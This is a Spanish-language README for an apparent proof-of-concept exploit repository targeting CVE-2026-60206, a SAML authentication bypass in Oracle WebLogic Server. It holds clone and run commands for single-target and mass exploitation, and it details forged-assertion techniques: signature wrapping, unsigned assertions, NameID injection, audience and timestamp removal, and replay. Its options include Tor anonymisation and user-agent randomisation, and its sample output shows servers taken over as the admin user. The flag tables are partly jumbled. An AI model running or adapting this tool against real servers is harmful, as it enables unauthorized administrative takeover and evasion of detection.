
Análisis técnico y prueba de concepto para CVE-2026-60206, una vulnerabilidad crítica de omisión de autenticación SAML en Oracle WebLogic Server.
Este repositorio proporciona un exploit de prueba de concepto para CVE‑2026‑60206, una vulnerabilidad crítica de omisión de autenticación en la implementación SAML de Oracle WebLogic Server. La falla permite que un atacante remoto con bajos privilegios comprometa completamente el servidor mediante la falsificación de aserciones SAML.
⚠️ Aviso legal: Esta herramienta está destinada únicamente a investigación y pruebas de seguridad autorizadas. Úsala solo contra sistemas que poseas o sobre los que tengas permiso explícito para realizar pruebas. Los autores no asumen responsabilidad alguna por el mal uso.
CVE-2026-60206 afecta al componente Core de Oracle WebLogic Server. La vulnerabilidad se origina en un manejo incorrecto de la autenticación en la implementación del protocolo SAML. Múltiples vectores de ataque —como XML Signature Wrapping (XSW), aceptación de aserciones sin firmar, manipulación de NameID y omisión de audiencia/condiciones— permiten a un atacante suplantar a usuarios arbitrarios (p. ej., weblogic) y obtener acceso administrativo.
Versiones afectadas:
El PoC implementa los siguientes vectores de ataque:
WantAssertionsSigned no está aplicado).AudienceRestriction para ampliar el alcance.NotBefore/NotOnOrAfter para evadir las comprobaciones de validez.all, unsigned, xsw, nameid, audience, conditions, combo o replay.-l).-r).httpx si está instalado y recurrir a (HTTP/1.1) en caso contrario.git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git
cd CVE-2026-60206
pip install -r requirements.txt
Requerido: requests, urllib3
Opcional (mejora la funcionalidad):
httpx – para soporte HTTP/2lxml – para un análisis SAML mejoradosignxml, cryptography – para el manejo de firmas (no es necesario para la explotación)python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin
python CVE-2026-60206.py -l targets.txt -o results.json
python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20
python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml
python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor
python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST
python CVE-2026-60206.py -t https://192.168.1.100:7002 -c
| Flag | Descripción |
|---|---|
-t, --target TARGET | URL de un único objetivo (p. ej., https://host:7002). |
-l, --list LIST |
-l):| Flag | Descripción |
|---|---|
--exploit | Prueba la aserción SAML sin firmar (por defecto: solo detección). |
-T, --threads THREADS | Hilos concurrentes (por defecto: 10). |
| Flag | Descripción |
|---|---|
-v, --verbose | Aumenta la verbosidad (salida de depuración). |
-q, --quiet |
detectRealiza la detección de versión y el sondeo de endpoints SAML. No se lanza ningún ataque.
unsignedInyecta una aserción SAML completamente sin firmar. Si el objetivo no aplica WantAssertionsSigned, esto omite la autenticación por completo.
Variantes: unsigned (por defecto), unsigned_stripped (elimina todas las referencias a la firma).
xsw (XML Signature Wrapping)Coloca una aserción maliciosa sin firmar antes (o envolviendo) una aserción firmada válida. El procesador SAML puede tomar la primera aserción mientras el validador de firmas comprueba la firmada.
Variantes: xsw1 (anteposición simple), xsw2 (mismo ID que el original), xsw3 (envoltorio anidado), xsw4 (hermana).
nameidManipula el campo NameID para confundir el mapeador de identidad de WebLogic, lo que permite suplantar a un usuario diferente.
Variantes: comment_injection, whitespace, format_confusion, xpath_injection.
audienceOmite las comprobaciones de AudienceRestriction eliminando o modificando el elemento de audiencia.
Variantes: remove_audience, wildcard_audience, extra_audience.
conditionsOmite las restricciones basadas en tiempo (p. ej., NotBefore, NotOnOrAfter).
Variantes: future_timestamp, expired_timestamp, remove_conditions, infinite_validity.
comboCombina XSW, aserción sin firmar y manipulación de NameID en un único payload: el vector con más probabilidades de comprometer el sistema por completo.
Variantes: combo_full (con inyección de comentarios), combo_stealth (con salto de línea).
replayReproduce una respuesta SAML previamente capturada, modificando opcionalmente el destino o eliminando las restricciones de audiencia.
Variantes: replay_modified (ajusta Destination/Recipient), replay_cross_sp (elimina las restricciones de audiencia).
$ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo
╔══════════════════════════════════════════════════════════════════════╗
║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║
║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║
╚══════════════════════════════════════════════════════════════════════╝
🔍 Detecting WebLogic version and SAML configuration...
Detected WebLogic version: 12.2.1.4.0
⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206!
Found SAML metadata: /saml2/sp/metadata
Found SAML ACS: /saml2/sp/acs (HTTP 200)
============================================================
🚀 Starting comprehensive SAML attack suite
Target: https://192.168.1.100:7002
Target User: weblogic
============================================================
── Attack 1/2 ──
🎯 [combo/combo_full] Launching combined attack for: weblogic
✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
── Attack 2/2 ──
🎯 [combo/combo_stealth] Launching combined attack for: weblogic
✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic
ACS Endpoint: /saml2/sp/acs
============================================================
📊 Results: 2/2 attack vectors succeeded
============================================================
EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication.
- [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs
- [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs
📄 Report saved: logs/report_20260725_123456.json
$ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10
============================================================
CVE-2026-60206 Mass Scanner
Targets: 50
Threads: 10
Mode: Exploit
============================================================
[10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s
[!] VULN: https://10.0.0.5:7002 (12.2.1.4.0)
[!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic
... (continues) ...
============================================================
SCAN SUMMARY
============================================================
Total targets: 50
Reachable: 45
WebLogic: 12
Vuln version: 8
Exploited: 3
Duration: 42.5s
============================================================
[!!] SUCCESSFULLY EXPLOITED:
https://10.0.0.5:7002 → weblogic via /saml2/sp/acs
https://10.0.0.10:7002 → weblogic via /saml2/sp/acs
https://10.0.0.15:7002 → weblogic via /saml2/sp/acs
[!] VULNERABLE VERSIONS (not yet exploited):
https://10.0.0.20:7002 (14.1.1.0.0)
https://10.0.0.25:7002 (15.1.1.0.0)
... (truncated)
Para probar este PoC de forma segura, configura un WebLogic Server con SAML habilitado y una de las versiones afectadas. Por ejemplo, puedes usar Docker:
# Example (simplified – use official Oracle WebLogic images with SAML configuration)
docker run -p 7002:7002 container-registry.oracle.com/middleware/weblogic:12.2.1.4
# Then configure SAML via WebLogic console or scripts
La configuración SAML debe incluir al menos un Service Provider SAML 2.0 con un endpoint ACS (p. ej., /saml2/sp/acs) y los metadatos publicados.
Este proyecto está bajo la Licencia GNU v3.0; consulta el archivo LICENSE para más detalles.
Las issues y las pull requests son bienvenidas. Asegúrate de que tus contribuciones respeten las mismas pautas de uso ético.
Recuerda: Obtén siempre la autorización adecuada antes de probar cualquier herramienta de seguridad. ¡Sé ético!
requests--save-payloads).-c / --check) – determinar rápidamente si un objetivo es vulnerable (sin explotación).| Flag | Descripción |
|---|
-h, --help | Muestra el mensaje de ayuda y sale. |
--proxy PROXY | URL del proxy (se sobrescribe con --tor si se usa). |
--no-verify | Desactiva la verificación del certificado SSL. |
--cookie COOKIE | Cookie(s) de sesión (p. ej., name=value; name2=value2). |
--auth AUTH | Credenciales de autenticación básica (USER:PASS). |
| Archivo de lista de objetivos para el escaneo masivo, o una URL única. |
-f, --file FILE | Alias de --list. |
| Flag | Descripción |
|---|
-r, --requestfile REQUESTFILE | Carga una petición HTTP cruda desde un archivo (reemplaza los ataques SAML). |
--method METHOD | Método HTTP a usar (para petición cruda o petición única; por defecto: GET). |
--random-agent | Usa un User‑Agent aleatorio de la lista incorporada. |
-A, --user-agent USER_AGENT | Valor personalizado para la cabecera User‑Agent. |
--tor | Usa la red de anonimato Tor (SOCKS5 por defecto). |
--tor-port TOR_PORT | Puerto del proxy Tor (por defecto: 9050). |
--tor-type {HTTP,SOCKS4,SOCKS5} | Tipo de proxy Tor (por defecto: SOCKS5). |
--check-tor | Comprueba si Tor se usa correctamente (sale con un veredicto). |
--delay DELAY | Retardo en segundos entre cada petición. |
--timeout TIMEOUT | Tiempo de espera en segundos (por defecto: 30). |
--retries RETRIES | Número de reintentos ante timeouts/errores (por defecto: 3). |
--retry-on RETRY_ON | Reintenta la petición si el contenido de la respuesta coincide con el regex (p. ej., 'captcha'). |
-dr, --disable-redirects | Desactiva el seguimiento de redirecciones HTTP. |
| Flag | Descripción |
|---|
-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay} | Modo de ataque (por defecto: all). |
--detect | Detecta únicamente la versión de WebLogic y la configuración SAML (sin ataque). |
-c, --check | Comprobación rápida de vulnerabilidad (solo detección, sale con un veredicto). |
-u, --user USER | Usuario objetivo a suplantar (por defecto: weblogic). |
--groups GROUPS | Grupos a incluir en la aserción SAML (por defecto: Administrators,Monitors). |
--issuer ISSUER | ID de entidad del emisor (Issuer) SAML. |
--audience AUDIENCE | ID de entidad de audiencia SAML. |
--relay-state RELAY_STATE | Parámetro RelayState para el POST SAML. |
--base64 | Codifica en Base64 la respuesta SAML en el POST. |
--extra-attrs [NAME=VALUE ...] | Atributos SAML adicionales (p. ej., role=admin). |
--replay-file REPLAY_FILE | Ruta a la respuesta SAML capturada para el replay. |
--save-payloads | Guarda los payloads SAML generados en ./payloads/. |
--continue-on-success | Continúa probando después de un ataque exitoso. |
| Suprime la salida no esencial. |
--list-modes | Lista todos los modos de ataque con sus descripciones y sale. |
-o, --output OUTPUT | Escribe un informe JSON o CSV en un archivo. |